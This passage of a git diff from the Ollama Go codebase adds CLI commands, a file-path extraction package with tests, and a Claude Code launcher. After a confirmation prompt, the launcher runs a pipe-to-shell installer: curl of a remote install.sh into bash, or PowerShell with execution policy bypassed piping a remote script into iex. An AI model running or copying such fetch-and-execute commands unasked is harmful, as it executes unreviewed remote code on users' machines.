rows = append(rows, []string{"", "embedding length", strconv.FormatFloat(v, 'f', -1, 64)})
}
if v, ok := projectorValue("projection_dim"); ok {
rows = append(rows, []string{"", "dimensions", strconv.FormatFloat(v, 'f', -1, 64)})
}
return
})
}
@@ -2050,72 +2229,32 @@ func ensureServerRunning(ctx context.Context) error {
}
func launchInteractiveModel(cmd *cobra.Command, modelName string) error {
opts := runOptions{
Model: modelName,
WordWrap: os.Getenv("TERM") == "xterm-256color",
Options: map[string]any{},
ShowConnect: true,
}
client, err := api.ClientFromEnvironment()
if err != nil {
return err
}
requestedCloud := modelref.HasExplicitCloudSource(modelName)
info, err := func() (*api.ShowResponse, error) {
showReq := &api.ShowRequest{Name: modelName}
info, err := client.Show(cmd.Context(), showReq)
var se api.StatusError
if errors.As(err, &se) && se.StatusCode == http.StatusNotFound {
if requestedCloud {
return nil, err
}
if err := PullHandler(cmd, []string{modelName}); err != nil {
return nil, err
}
return client.Show(cmd.Context(), &api.ShowRequest{Name: modelName})
}
return info, err
}()
opts := agentTUIOptions{
Model: modelName,
Options: map[string]any{},
}
info, err := prepareAgentModel(cmd, client, &opts, false)
if err != nil {
if handleCloudAuthorizationError(err) {
return nil
}
return err
}
opts.System = info.System
ensureCloudStub(cmd.Context(), client, modelName)
opts.Think, err = inferThinkingOption(&info.Capabilities, &opts, false)
if err != nil {
if err := saveLastAgentModel(opts.Model); err != nil {
return err
}
audioCapable := slices.Contains(info.Capabilities, model.CapabilityAudio)
opts.MultiModal = slices.Contains(info.Capabilities, model.CapabilityVision) || audioCapable
// TODO: remove the projector info and vision info checks below,
// these are left in for backwards compatibility with older servers
// that don't have the capabilities field in the model info
if len(info.ProjectorInfo) != 0 {
opts.MultiModal = true
}
for k := range info.ModelInfo {
if strings.Contains(k, ".vision.") {
opts.MultiModal = true
break
if err := GenerateAgentTUI(cmd, client, opts); err != nil {
if handleCloudAuthorizationError(err) {
return nil
}
}
applyShowResponseToRunOptions(&opts, info)
if err := loadOrUnloadModel(cmd, &opts); err != nil {
return fmt.Errorf("error loading model: %w", err)
}
if err := generateInteractive(cmd, opts); err != nil {
return fmt.Errorf("error running model: %w", err)
return fmt.Errorf("error running agent: %w", err)
}
return nil
}
@@ -2231,7 +2370,7 @@ func runLauncherAction(cmd *cobra.Command, action tui.TUIAction, deps launcherDe
func launcherActionExitsLoop(integration string) bool {
switch integration {
case "vscode":
case "chatgpt", "codex-app", "vscode":
return true
default:
return false
@@ -2277,9 +2416,6 @@ func NewCLI() *cobra.Command {
if experimental, _ := cmd.Flags().GetBool("experimental"); experimental {
return nil
}
if draftQuantize, _ := cmd.Flags().GetString("draft-quantize"); draftQuantize != "" {
return errors.New("--draft-quantize requires --experimental")
}
return checkServerHeartbeat(cmd, args)
},
RunE: CreateHandler,
@@ -2323,9 +2459,6 @@ func NewCLI() *cobra.Command {
runCmd.Flags().Bool("hidethinking", false, "Hide thinking output (if provided)")
runCmd.Flags().Bool("truncate", false, "For embedding models: truncate inputs exceeding context length (default: true). Set --truncate=false to error instead")
runCmd.Flags().Int("dimensions", 0, "Truncate output embeddings to specified dimension (embedding models only)")
runCmd.Flags().Bool("experimental", false, "Enable experimental agent loop with tools")
runCmd.Flags().Bool("experimental-yolo", false, "Skip all tool approval prompts (use with caution)")
runCmd.Flags().Bool("experimental-websearch", false, "Enable web search tool in experimental mode")
// Image generation flags (width, height, steps, seed, etc.)
imagegen.RegisterFlags(runCmd)
@@ -2333,6 +2466,15 @@ func NewCLI() *cobra.Command {
runCmd.Flags().Bool("imagegen", false, "Use the imagegen runner for LLM inference")
runCmd.Flags().MarkHidden("imagegen")
agentCmd := &cobra.Command{
Use: "agent",
Short: "Run an agent",
Args: cobra.ExactArgs(0),
PreRunE: checkServerHeartbeat,
RunE: AgentHandler,
}
registerAgentFlags(agentCmd)
stopCmd := &cobra.Command{
Use: "stop MODEL",
Short: "Stop a running model",
@@ -2403,6 +2545,14 @@ func NewCLI() *cobra.Command {
RunE: SignoutHandler,
}
usageCmd := &cobra.Command{
Use: "usage",
Short: "Show your ollama.com usage",
Args: cobra.ExactArgs(0),
PreRunE: checkServerHeartbeat,
RunE: UsageHandler,
}
listCmd := &cobra.Command{
Use: "list",
Aliases: []string{"ls"},
@@ -2445,6 +2595,16 @@ func NewCLI() *cobra.Command {
_ = runner.Execute(args[1:])
})
var gpuDiscoverLibDirs []string
gpuDiscoverCmd := &cobra.Command{
Use: "gpu-discover",
Hidden: true,
RunE: func(cmd *cobra.Command, _ []string) error {
return discover.RunNativeProbeCommand(cmd.Context(), gpuDiscoverLibDirs, os.Stdout)
},
}
gpuDiscoverCmd.Flags().StringArrayVar(&gpuDiscoverLibDirs, "lib-dir", nil, "Ollama runtime library directory")
envVars := envconfig.AsMap()
envs := []envconfig.EnvVar{envVars["OLLAMA_HOST"]}
@@ -2453,9 +2613,11 @@ func NewCLI() *cobra.Command {
createCmd,
showCmd,
runCmd,
agentCmd,
stopCmd,
pullCmd,
pushCmd,
usageCmd,
listCmd,
psCmd,
copyCmd,
@@ -2485,6 +2647,9 @@ func NewCLI() *cobra.Command {
envVars["OLLAMA_KV_CACHE_TYPE"],
envVars["OLLAMA_LLM_LIBRARY"],
envVars["OLLAMA_GPU_OVERHEAD"],
envVars["OLLAMA_IGPU_ENABLE"],
envVars["LLAMA_ARG_FIT"],
envVars["LLAMA_ARG_FIT_TARGET"],
envVars["OLLAMA_LOAD_TIMEOUT"],
})
default:
@@ -2497,6 +2662,7 @@ func NewCLI() *cobra.Command {
createCmd,
showCmd,
runCmd,
agentCmd,
stopCmd,
pullCmd,
pushCmd,
@@ -2504,11 +2670,13 @@ func NewCLI() *cobra.Command {
loginCmd,
signoutCmd,
logoutCmd,
usageCmd,
listCmd,
psCmd,
copyCmd,
deleteCmd,
runnerCmd,
gpuDiscoverCmd,
launch.LaunchCmd(checkServerHeartbeat, runInteractiveTUI),
)
+1 -1
View File
@@ -249,7 +249,7 @@ func TestRunLauncherAction_GUIAppsExitTUILoop(t *testing.T) {
cmd := &cobra.Command{}
cmd.SetContext(context.Background())
for _, integration := range []string{"vscode"} {
for _, integration := range []string{"chatgpt", "vscode"} {
continueLoop, err := runLauncherAction(cmd, tui.TUIAction{Kind: tui.TUIActionLaunchIntegration, Integration: integration}, launcherDeps{
resolveRunModel: unexpectedRunModelResolution(t),
launchIntegration: func(ctx context.Context, req launch.IntegrationLaunchRequest) error {
+140 -13
View File
@@ -1398,6 +1398,102 @@ func TestListHandler(t *testing.T) {
}
}
func TestUsageHandler(t *testing.T) {
startsAt := time.Date(2026, time.June, 29, 0, 0, 0, 0, time.UTC)
endsAt := time.Date(2026, time.July, 27, 0, 0, 0, 0, time.UTC)
tests := []struct {
name string
statusCode int
response any
want string
}{
{
name: "activity and limits",
statusCode: http.StatusOK,
response: api.UsageResponse{
Activity: api.UsageActivity{
Cost: "12.34000",
Period: api.UsagePeriod{
Type: "last_4_weeks",
StartingAt: startsAt,
EndingAt: endsAt,
},
Models: []api.UsageModel{{Name: "gpt-oss:120b", RequestCount: 42, Cost: "12.34000"}},
},
Limits: api.UsageLimits{
Session: api.UsageLimit{Usage: 0.006, Models: []api.UsageModel{{Name: "web search", RequestCount: 1}}},
},
},
want: "Usage\n" +
" Period 2026-06-29 to 2026-07-27\n" +
" Spend $12.34000\n\n" +
"Activity\n" +
" Model Requests Spend\n" +
" gpt-oss:120b 42 $12.34000\n\n" +
"Session\n" +
" Used 0.6%\n" +
" Model Requests\n" +
" Web Search 1\n",
},
{
name: "no usage",
statusCode: http.StatusOK,
response: api.UsageResponse{
Activity: api.UsageActivity{
Cost: "0.00000",
Period: api.UsagePeriod{Type: "last_4_weeks", StartingAt: startsAt, EndingAt: endsAt},
Models: []api.UsageModel{},
},
Limits: api.UsageLimits{
Session: api.UsageLimit{Models: []api.UsageModel{}},
Weekly: api.UsageLimit{Models: []api.UsageModel{}},
},
},
want: "Usage\n" +
" Period 2026-06-29 to 2026-07-27\n" +
" Spend $0.00000\n\n" +
"No usage recorded for this period.\n",
},
{
name: "not signed in",
statusCode: http.StatusUnauthorized,
response: map[string]string{"error": "unauthorized"},
want: "You need to be signed in to Ollama to view usage.\n\n",
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodGet || r.URL.Path != "/api/usage" {
t.Fatalf("request = %s %s, want GET /api/usage", r.Method, r.URL.Path)
}
w.Header().Set("Content-Type", "application/json")
w.WriteHeader(tt.statusCode)
if err := json.NewEncoder(w).Encode(tt.response); err != nil {
t.Fatal(err)
}
}))
defer server.Close()
t.Setenv("OLLAMA_HOST", server.URL)
cmd := &cobra.Command{}
cmd.SetContext(t.Context())
var out bytes.Buffer
cmd.SetOut(&out)
if err := UsageHandler(cmd, nil); err != nil {
t.Fatal(err)
}
if got := out.String(); got != tt.want {
t.Errorf("unexpected output (-want +got):\n%s", cmp.Diff(tt.want, got))
}
})
}
}
func TestCreateHandler(t *testing.T) {
tests := []struct {
name string
@@ -1525,34 +1621,65 @@ func TestCreateHandler(t *testing.T) {
}
}
func TestCreateHandlerDraftQuantizeRequiresExperimental(t *testing.T) {
cmd := &cobra.Command{}
cmd.Flags().Bool("experimental", false, "")
cmd.Flags().String("draft-quantize", "mxfp8", "")
cmd.SetContext(t.Context())
func TestCreateRequestFileNamesPreservesModelDirectoryLayout(t *testing.T) {
root := t.TempDir()
files := map[string]string{
filepath.Join(root, "model.safetensors"): "sha256:model",
filepath.Join(root, "config.json"): "sha256:config",
filepath.Join(root, "2_Dense", "config.json"): "sha256:dense-config",
filepath.Join(root, "2_Dense", "model.safetensors"): "sha256:dense-model",
}
err := CreateHandler(cmd, []string{"test-model"})
if err == nil || !strings.Contains(err.Error(), "--draft-quantize requires --experimental") {
t.Fatalf("error = %v, want draft-quantize requires experimental", err)
got := createRequestFileNames(files)
want := map[string]string{
filepath.Join(root, "model.safetensors"): "model.safetensors",
filepath.Join(root, "config.json"): "config.json",
filepath.Join(root, "2_Dense", "config.json"): "2_Dense/config.json",
filepath.Join(root, "2_Dense", "model.safetensors"): "2_Dense/model.safetensors",
}
if diff := cmp.Diff(want, got); diff != "" {
t.Fatalf("mismatch (-want +got):\n%s", diff)
}
}
func TestCreateHandlerDraftRequiresExperimental(t *testing.T) {
func TestCreateRequestFileNamesPreservesRelativeModelDirectoryLayout(t *testing.T) {
root := t.TempDir()
t.Chdir(root)
files := map[string]string{
"model.safetensors": "sha256:model",
"config.json": "sha256:config",
"2_Dense/config.json": "sha256:dense-config",
"2_Dense/model.safetensors": "sha256:dense-model",
"3_Dense/config.json": "sha256:dense-config",
"3_Dense/model.safetensors": "sha256:dense-model",
}
got := createRequestFileNames(files)
for file := range files {
if got[file] != filepath.ToSlash(file) {
t.Fatalf("%s = %q, want %q", file, got[file], filepath.ToSlash(file))
}
}
}
func TestCreateHandlerDraftQuantizeRequiresDraft(t *testing.T) {
dir := t.TempDir()
modelfile := filepath.Join(dir, "Modelfile")
if err := os.WriteFile(modelfile, []byte("FROM base\nDRAFT ./assistant\n"), 0o644); err != nil {
if err := os.WriteFile(modelfile, []byte("FROM base\n"), 0o644); err != nil {
t.Fatal(err)
}
cmd := &cobra.Command{}
cmd.Flags().Bool("experimental", false, "")
cmd.Flags().String("draft-quantize", "", "")
cmd.Flags().String("file", modelfile, "")
cmd.Flags().String("draft-quantize", "mxfp8", "")
cmd.SetContext(t.Context())
err := CreateHandler(cmd, []string{"test-model"})
if err == nil || !strings.Contains(err.Error(), "DRAFT requires --experimental") {
t.Fatalf("error = %v, want DRAFT requires --experimental", err)
if err == nil || !strings.Contains(err.Error(), "--draft-quantize requires a DRAFT model") {
t.Fatalf("error = %v, want draft-quantize requires DRAFT", err)
}
}
+189
View File
@@ -0,0 +1,189 @@
package filedata
import (
"errors"
"fmt"
"io"
"net/http"
"net/url"
"os"
"path/filepath"
"regexp"
"slices"
"strings"
"github.com/ollama/ollama/api"
)
type File struct {
Path string
Data api.ImageData
}
func NormalizePath(fp string) string {
fp = strings.Trim(fp, "\"")
fp = strings.NewReplacer(
"\\ ", " ",
"\\(", "(",
"\\)", ")",
"\\[", "[",
"\\]", "]",
"\\{", "{",
"\\}", "}",
"\\$", "$",
"\\&", "&",
"\\;", ";",
"\\'", "'",
"\\\\", "\\",
"\\*", "*",
"\\?", "?",
"\\~", "~",
).Replace(fp)
if u, err := url.Parse(fp); err == nil && strings.EqualFold(u.Scheme, "file") {
return normalizeFileURL(u)
} else if normalized, ok := normalizeMalformedFileURL(fp); ok {
return normalized
}
return fp
}
// fileExtractRe matches file:// URLs and filesystem paths ending in image/audio
// extensions. Hoisted to package scope so the per-keystroke slash-completion
// path (chat.slashInputIsMultimodalFile -> ExtractNames) doesn't recompile it
// on every call.
var fileExtractRe = regexp.MustCompile(`(?:file://\S+?\.(?i:jpg|jpeg|png|webp|wav)\b)|(?:(?:[a-zA-Z]:)?(?:\./|\.\\|/|\\)[\S\\ ]+?\.(?i:jpg|jpeg|png|webp|wav)\b)`)
func ExtractNames(input string) []string {
return fileExtractRe.FindAllString(input, -1)
}
func Extract(input string) (string, []api.ImageData, error) {
cleaned, files, err := ExtractWithFiles(input)
if err != nil {
return "", nil, err
}
data := make([]api.ImageData, 0, len(files))
for _, file := range files {
data = append(data, file.Data)
}
return cleaned, data, nil
}
func ExtractWithFiles(input string) (string, []File, error) {
filePaths := ExtractNames(input)
var files []File
for _, fp := range filePaths {
nfp := NormalizePath(fp)
data, err := GetData(nfp)
if errors.Is(err, os.ErrNotExist) {
continue
} else if err != nil {
return "", nil, fmt.Errorf("couldn't process file %q: %w", nfp, err)
}
input = strings.ReplaceAll(input, "'"+nfp+"'", "")
input = strings.ReplaceAll(input, "'"+fp+"'", "")
input = strings.ReplaceAll(input, `"`+nfp+`"`, "")
input = strings.ReplaceAll(input, `"`+fp+`"`, "")
input = strings.ReplaceAll(input, fp, "")
files = append(files, File{Path: nfp, Data: data})
}
return strings.TrimSpace(input), files, nil
}
func GetData(filePath string) ([]byte, error) {
file, err := os.Open(filePath)
if err != nil {
return nil, err
}
defer file.Close()
buf := make([]byte, 512)
_, err = file.Read(buf)
if err != nil {
return nil, err
}
contentType := http.DetectContentType(buf)
allowedTypes := []string{"image/jpeg", "image/jpg", "image/png", "image/webp", "audio/wave"}
if !slices.Contains(allowedTypes, contentType) {
return nil, fmt.Errorf("invalid file type: %s", contentType)
}
info, err := file.Stat()
if err != nil {
return nil, err
}
var maxSize int64 = 100 * 1024 * 1024
if info.Size() > maxSize {
return nil, errors.New("file size exceeds maximum limit (100MB)")
}
buf = make([]byte, info.Size())
_, err = file.Seek(0, 0)
if err != nil {
return nil, err
}
_, err = io.ReadFull(file, buf)
if err != nil {
return nil, err
}
return buf, nil
}
func Kind(path string) string {
if strings.EqualFold(filepath.Ext(path), ".wav") {
return "audio"
}
return "image"
}
func normalizeFileURL(u *url.URL) string {
path := u.Path
if unescaped, err := url.PathUnescape(path); err == nil {
path = unescaped
}
host := u.Host
if unescaped, err := url.PathUnescape(host); err == nil {
host = unescaped
}
if len(host) >= 2 && host[1] == ':' && isASCIIAlpha(host[0]) {
return filepath.Clean(filepath.FromSlash(host + path))
}
if len(path) >= 4 && path[0] == '/' && path[2] == ':' && isASCIIAlpha(path[1]) {
path = path[1:]
}
if u.Host != "" && !strings.EqualFold(u.Host, "localhost") {
return `\\` + u.Host + filepath.FromSlash(path)
}
return filepath.FromSlash(path)
}
func normalizeMalformedFileURL(raw string) (string, bool) {
const prefix = "file://"
if !strings.HasPrefix(strings.ToLower(raw), prefix) {
return "", false
}
path := raw[len(prefix):]
if unescaped, err := url.PathUnescape(path); err == nil {
path = unescaped
}
path = strings.TrimPrefix(path, "localhost")
if len(path) >= 3 && path[0] == '/' && path[2] == ':' && isASCIIAlpha(path[1]) {
path = path[1:]
}
if len(path) >= 2 && path[1] == ':' && isASCIIAlpha(path[0]) {
return filepath.Clean(filepath.FromSlash(path)), true
}
return "", false
}
func isASCIIAlpha(b byte) bool {
return (b >= 'a' && b <= 'z') || (b >= 'A' && b <= 'Z')
}
+223
View File
@@ -0,0 +1,223 @@
package filedata
import (
"net/url"
"os"
"path/filepath"
"strings"
"testing"
)
func TestNormalizePathMalformedWindowsFileURL(t *testing.T) {
got := NormalizePath(`file://C:%5CUsers%5Cjdoe%5CPictures%5Cimg.png`)
want := filepath.Clean(`C:\Users\jdoe\Pictures\img.png`)
if got != want {
t.Fatalf("path = %q, want %q", got, want)
}
}
func TestNormalizePathTwoSlashWindowsFileURL(t *testing.T) {
got := NormalizePath(`file://C:/Users/jdoe/Pictures/img.png`)
want := filepath.Clean(`C:/Users/jdoe/Pictures/img.png`)
if got != want {
t.Fatalf("path = %q, want %q", got, want)
}
}
func TestNormalizePathLocalhostWindowsFileURL(t *testing.T) {
got := NormalizePath(`file://localhost/C:/Users/jdoe/Pictures/img.png`)
want := filepath.Clean(`C:/Users/jdoe/Pictures/img.png`)
if got != want {
t.Fatalf("path = %q, want %q", got, want)
}
}
func TestExtractNames(t *testing.T) {
// Unix style paths
input := ` some preamble
./relative\ path/one.png inbetween1 ./not a valid two.jpg inbetween2 ./1.svg
/unescaped space /three.jpeg inbetween3 /valid\ path/dir/four.png "./quoted with spaces/five.JPG
/unescaped space /six.webp inbetween6 /valid\ path/dir/seven.WEBP`
res := ExtractNames(input)
if len(res) != 7 {
t.Fatalf("len = %d, want 7", len(res))
}
assertContains(t, res[0], "one.png")
assertContains(t, res[1], "two.jpg")
assertContains(t, res[2], "three.jpeg")
assertContains(t, res[3], "four.png")
assertContains(t, res[4], "five.JPG")
assertContains(t, res[5], "six.webp")
assertContains(t, res[6], "seven.WEBP")
assertNotContains(t, res[4], "\"")
for _, r := range res {
assertNotContains(t, r, "inbetween1")
}
assertNotContainsSlice(t, res, "./1.svg")
}
func TestExtractNamesWindowsPaths(t *testing.T) {
input := ` some preamble
c:/users/jdoe/one.png inbetween1 c:/program files/someplace/two.jpg inbetween2
/absolute/nospace/three.jpeg inbetween3 /absolute/with space/four.png inbetween4
./relative\ path/five.JPG inbetween5 "./relative with/spaces/six.png inbetween6
d:\path with\spaces\seven.JPEG inbetween7 c:\users\jdoe\eight.png inbetween8
d:\program files\someplace\nine.png inbetween9 "E:\program files\someplace\ten.PNG
c:/users/jdoe/eleven.webp inbetween11 c:/program files/someplace/twelve.WebP inbetween12
d:\path with\spaces\thirteen.WEBP some ending
`
res := ExtractNames(input)
if len(res) != 13 {
t.Fatalf("len = %d, want 13", len(res))
}
assertNotContainsSlice(t, res, "inbetween2")
assertContains(t, res[0], "one.png")
assertContains(t, res[0], "c:")
assertContains(t, res[1], "two.jpg")
assertContains(t, res[1], "c:")
assertContains(t, res[2], "three.jpeg")
assertContains(t, res[3], "four.png")
assertContains(t, res[4], "five.JPG")
assertContains(t, res[5], "six.png")
assertContains(t, res[6], "seven.JPEG")
assertContains(t, res[6], "d:")
assertContains(t, res[7], "eight.png")
assertContains(t, res[7], "c:")
assertContains(t, res[8], "nine.png")
assertContains(t, res[8], "d:")
assertContains(t, res[9], "ten.PNG")
assertContains(t, res[9], "E:")
assertContains(t, res[10], "eleven.webp")
assertContains(t, res[10], "c:")
assertContains(t, res[11], "twelve.WebP")
assertContains(t, res[11], "c:")
assertContains(t, res[12], "thirteen.WEBP")
assertContains(t, res[12], "d:")
}
func TestExtractNamesDragDropPaths(t *testing.T) {
input := `file:///Users/jdoe/Pictures/one.png file://localhost/C:/Users/jdoe/Pictures/two.webp file:///C:/Users/jdoe/Pictures/three.jpg .\relative\four.png`
res := ExtractNames(input)
if len(res) != 4 {
t.Fatalf("len = %d, want 4", len(res))
}
assertContains(t, res[0], "file:///Users/jdoe/Pictures/one.png")
assertContains(t, res[1], "file://localhost/C:/Users/jdoe/Pictures/two.webp")
assertContains(t, res[2], "file:///C:/Users/jdoe/Pictures/three.jpg")
assertContains(t, res[3], `.\relative\four.png`)
}
func TestNormalizePathFileURL(t *testing.T) {
got := NormalizePath("file:///C:/Users/jdoe/Pictures/img.png")
want := filepath.FromSlash("C:/Users/jdoe/Pictures/img.png")
if got != want {
t.Fatalf("path = %q, want %q", got, want)
}
}
func TestExtractRemovesQuotedFilepath(t *testing.T) {
dir := t.TempDir()
fp := filepath.Join(dir, "img.jpg")
data := make([]byte, 600)
copy(data, []byte{
0xff, 0xd8, 0xff, 0xe0, 0x00, 0x10, 'J', 'F', 'I', 'F',
0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xff, 0xd9,
})
if err := os.WriteFile(fp, data, 0o600); err != nil {
t.Fatalf("failed to write test image: %v", err)
}
input := "before '" + fp + "' after"
cleaned, imgs, err := Extract(input)
if err != nil {
t.Fatalf("err: %v", err)
}
if len(imgs) != 1 {
t.Fatalf("imgs = %d, want 1", len(imgs))
}
if cleaned != "before after" {
t.Fatalf("cleaned = %q, want %q", cleaned, "before after")
}
}
func TestExtractFileURL(t *testing.T) {
dir := t.TempDir()
fp := filepath.Join(dir, "img.png")
data := make([]byte, 600)
copy(data, []byte{0x89, 'P', 'N', 'G', '\r', '\n', 0x1a, '\n'})
if err := os.WriteFile(fp, data, 0o600); err != nil {
t.Fatalf("failed to write test image: %v", err)
}
fileURL := (&url.URL{Scheme: "file", Path: fp}).String()
cleaned, imgs, err := Extract("before " + fileURL + " after")
if err != nil {
t.Fatalf("err: %v", err)
}
if len(imgs) != 1 {
t.Fatalf("imgs = %d, want 1", len(imgs))
}
if cleaned != "before after" {
t.Fatalf("cleaned = %q, want %q", cleaned, "before after")
}
}
func TestExtractWAV(t *testing.T) {
dir := t.TempDir()
fp := filepath.Join(dir, "sample.wav")
data := make([]byte, 600)
copy(data[:44], []byte{
'R', 'I', 'F', 'F',
0x58, 0x02, 0x00, 0x00,
'W', 'A', 'V', 'E',
'f', 'm', 't', ' ',
0x10, 0x00, 0x00, 0x00,
0x01, 0x00,
0x01, 0x00,
0x80, 0x3e, 0x00, 0x00,
0x00, 0x7d, 0x00, 0x00,
0x02, 0x00,
0x10, 0x00,
'd', 'a', 't', 'a',
0x34, 0x02, 0x00, 0x00,
})
if err := os.WriteFile(fp, data, 0o600); err != nil {
t.Fatalf("failed to write test audio: %v", err)
}
input := "before " + fp + " after"
cleaned, imgs, err := Extract(input)
if err != nil {
t.Fatalf("err: %v", err)
}
if len(imgs) != 1 {
t.Fatalf("imgs = %d, want 1", len(imgs))
}
if cleaned != "before after" {
t.Fatalf("cleaned = %q, want %q", cleaned, "before after")
}
}
func assertContains(t *testing.T, s, want string) {
t.Helper()
if !strings.Contains(s, want) {
t.Fatalf("%q does not contain %q", s, want)
}
}
func assertNotContains(t *testing.T, s, want string) {
t.Helper()
if strings.Contains(s, want) {
t.Fatalf("%q unexpectedly contains %q", s, want)
}
}
func assertNotContainsSlice(t *testing.T, ss []string, want string) {
t.Helper()
for _, s := range ss {
if strings.Contains(s, want) {
t.Fatalf("slice unexpectedly contains %q in %q", want, s)
}
}
}
+3 -3
View File
@@ -20,7 +20,7 @@ const (
)
var (
ErrPlanVerificationUnavailable = errors.New("Could not verify your plan. Try again in a moment.")
ErrPlanVerificationUnavailable = errors.New("Could not verify Ollama plan. Try again in a moment or use a local model.")
errUpgradeCancelled = errors.New("upgrade cancelled")
)
@@ -247,7 +247,7 @@ func (c *launcherClient) ensureCloudModelAccess(ctx context.Context, model strin
c.accountState = &state
}
if state.Status == accountStateUnknown {
return ErrPlanVerificationUnavailable
return nil
}
if state.Status == accountStateSignedOut {
@@ -259,7 +259,7 @@ func (c *launcherClient) ensureCloudModelAccess(ctx context.Context, model strin
c.accountState = &state
}
if state.Status == accountStateUnknown {
return ErrPlanVerificationUnavailable
return nil
}
}
+104 -12
View File
@@ -7,6 +7,7 @@ import (
"path/filepath"
"runtime"
"strconv"
"strings"
"github.com/ollama/ollama/envconfig"
)
@@ -37,17 +38,21 @@ func (c *Claude) findPath() (string, error) {
if runtime.GOOS == "windows" {
name = "claude.exe"
}
fallback := filepath.Join(home, ".claude", "local", name)
if _, err := os.Stat(fallback); err != nil {
return "", err
for _, fallback := range []string{
filepath.Join(home, ".local", "bin", name),
filepath.Join(home, ".claude", "local", name),
} {
if _, err := os.Stat(fallback); err == nil {
return fallback, nil
}
}
return fallback, nil
return "", fmt.Errorf("claude binary not found")
}
func (c *Claude) Run(model string, args []string) error {
claudePath, err := c.findPath()
func (c *Claude) Run(model string, _ []LaunchModel, args []string) error {
claudePath, err := ensureClaudeInstalled()
if err != nil {
return fmt.Errorf("claude is not installed, install from https://code.claude.com/docs/en/quickstart")
return err
}
cmd := exec.Command(claudePath, c.args(model, args)...)
@@ -55,17 +60,104 @@ func (c *Claude) Run(model string, args []string) error {
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
env := append(os.Environ(),
"ANTHROPIC_BASE_URL="+envconfig.Host().String(),
cmd.Env = append(os.Environ(), c.envVars(model)...)
return cmd.Run()
}
func (c *Claude) envVars(model string) []string {
env := []string{
"ANTHROPIC_BASE_URL=" + envconfig.Host().String(),
"ANTHROPIC_API_KEY=",
"ANTHROPIC_AUTH_TOKEN=ollama",
"CLAUDE_CODE_ATTRIBUTION_HEADER=0",
)
"DISABLE_ERROR_REPORTING=1",
"DISABLE_FEEDBACK_COMMAND=1",
"CLAUDE_CODE_DISABLE_FEEDBACK_SURVEY=1",
}
env = append(env, c.modelEnvVars(model)...)
return env
}
cmd.Env = env
return cmd.Run()
func ensureClaudeInstalled() (string, error) {
if path, err := (&Claude{}).findPath(); err == nil {
return path, nil
}
if err := checkClaudeInstallerDependencies(); err != nil {
return "", err
}
ok, err := ConfirmPrompt("Claude Code is not installed. Install now?")
if err != nil {
return "", err
}
if !ok {
return "", fmt.Errorf("claude installation cancelled")
}
bin, args, err := claudeInstallerCommand(runtime.GOOS)
if err != nil {
return "", err
}
fmt.Fprintf(os.Stderr, "\nInstalling Claude Code...\n")
cmd := exec.Command(bin, args...)
cmd.Stdin = os.Stdin
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
if err := cmd.Run(); err != nil {
return "", fmt.Errorf("failed to install claude: %w", err)
}
path, err := (&Claude{}).findPath()
if err != nil {
return "", fmt.Errorf("claude was installed but the binary was not found on PATH\n\nYou may need to restart your shell")
}
fmt.Fprintf(os.Stderr, "%sClaude Code installed successfully%s\n\n", ansiGreen, ansiReset)
return path, nil
}
func checkClaudeInstallerDependencies() error {
switch runtime.GOOS {
case "windows":
if _, err := exec.LookPath("powershell"); err != nil {
return fmt.Errorf("claude is not installed and required dependencies are missing\n\nInstall the following first:\n PowerShell: https://learn.microsoft.com/powershell/\n\nThen re-run:\n ollama launch claude")
}
default:
var missing []string
if _, err := exec.LookPath("curl"); err != nil {
missing = append(missing, "curl: https://curl.se/")
}
if _, err := exec.LookPath("bash"); err != nil {
missing = append(missing, "bash: https://www.gnu.org/software/bash/")
}
if len(missing) > 0 {
return fmt.Errorf("claude is not installed and required dependencies are missing\n\nInstall the following first:\n %s\n\nThen re-run:\n ollama launch claude", strings.Join(missing, "\n "))
}
}
return nil
}
func claudeInstallerCommand(goos string) (string, []string, error) {
switch goos {
case "windows":
return "powershell", []string{
"-NoProfile",
"-ExecutionPolicy",
"Bypass",
"-Command",
"irm https://claude.ai/install.ps1 | iex",
}, nil
case "darwin", "linux":
return "bash", []string{
"-c",
"curl -fsSL https://claude.ai/install.sh | bash",
}, nil
default:
return "", nil, fmt.Errorf("unsupported platform for claude install: %s", goos)
}
}
// modelEnvVars returns Claude Code env vars that route all model tiers through Ollama.
+1 -1
View File
@@ -130,7 +130,7 @@ func (c *ClaudeDesktop) SkipModelReadiness() bool {
return true
}
func (c *ClaudeDesktop) Run(_ string, _ []string) error {
func (c *ClaudeDesktop) Run(_ string, _ []LaunchModel, _ []string) error {
return errClaudeDesktopUnsupported()
}
+1 -1
View File
@@ -932,7 +932,7 @@ func TestClaudeDesktopRunReturnsUnsupported(t *testing.T) {
)
for _, args := range [][]string{nil, {"--foo"}} {
err := (&ClaudeDesktop{}).Run("qwen3.5", args)
err := (&ClaudeDesktop{}).Run("qwen3.5", nil, args)
if err == nil {
t.Fatal("expected Run to fail")
}
+269
View File
@@ -1,12 +1,15 @@
package launch
import (
"fmt"
"os"
"path/filepath"
"runtime"
"slices"
"strings"
"testing"
"github.com/ollama/ollama/envconfig"
)
func TestClaudeIntegration(t *testing.T) {
@@ -67,6 +70,28 @@ func TestClaudeFindPath(t *testing.T) {
}
})
t.Run("falls back to ~/.local/bin/claude", func(t *testing.T) {
tmpDir := t.TempDir()
setTestHome(t, tmpDir)
t.Setenv("PATH", t.TempDir()) // empty dir, no claude binary
name := "claude"
if runtime.GOOS == "windows" {
name = "claude.exe"
}
fallback := filepath.Join(tmpDir, ".local", "bin", name)
os.MkdirAll(filepath.Dir(fallback), 0o755)
os.WriteFile(fallback, []byte("#!/bin/sh\n"), 0o755)
got, err := c.findPath()
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if got != fallback {
t.Errorf("findPath() = %q, want %q", got, fallback)
}
})
t.Run("returns error when neither PATH nor fallback exists", func(t *testing.T) {
tmpDir := t.TempDir()
setTestHome(t, tmpDir)
@@ -79,6 +104,210 @@ func TestClaudeFindPath(t *testing.T) {
})
}
func TestEnsureClaudeInstalled(t *testing.T) {
withConfirm := func(t *testing.T, fn func(prompt string) (bool, error)) {
t.Helper()
oldConfirm := DefaultConfirmPrompt
DefaultConfirmPrompt = func(prompt string, options ConfirmOptions) (bool, error) {
return fn(prompt)
}
t.Cleanup(func() { DefaultConfirmPrompt = oldConfirm })
}
t.Run("already installed", func(t *testing.T) {
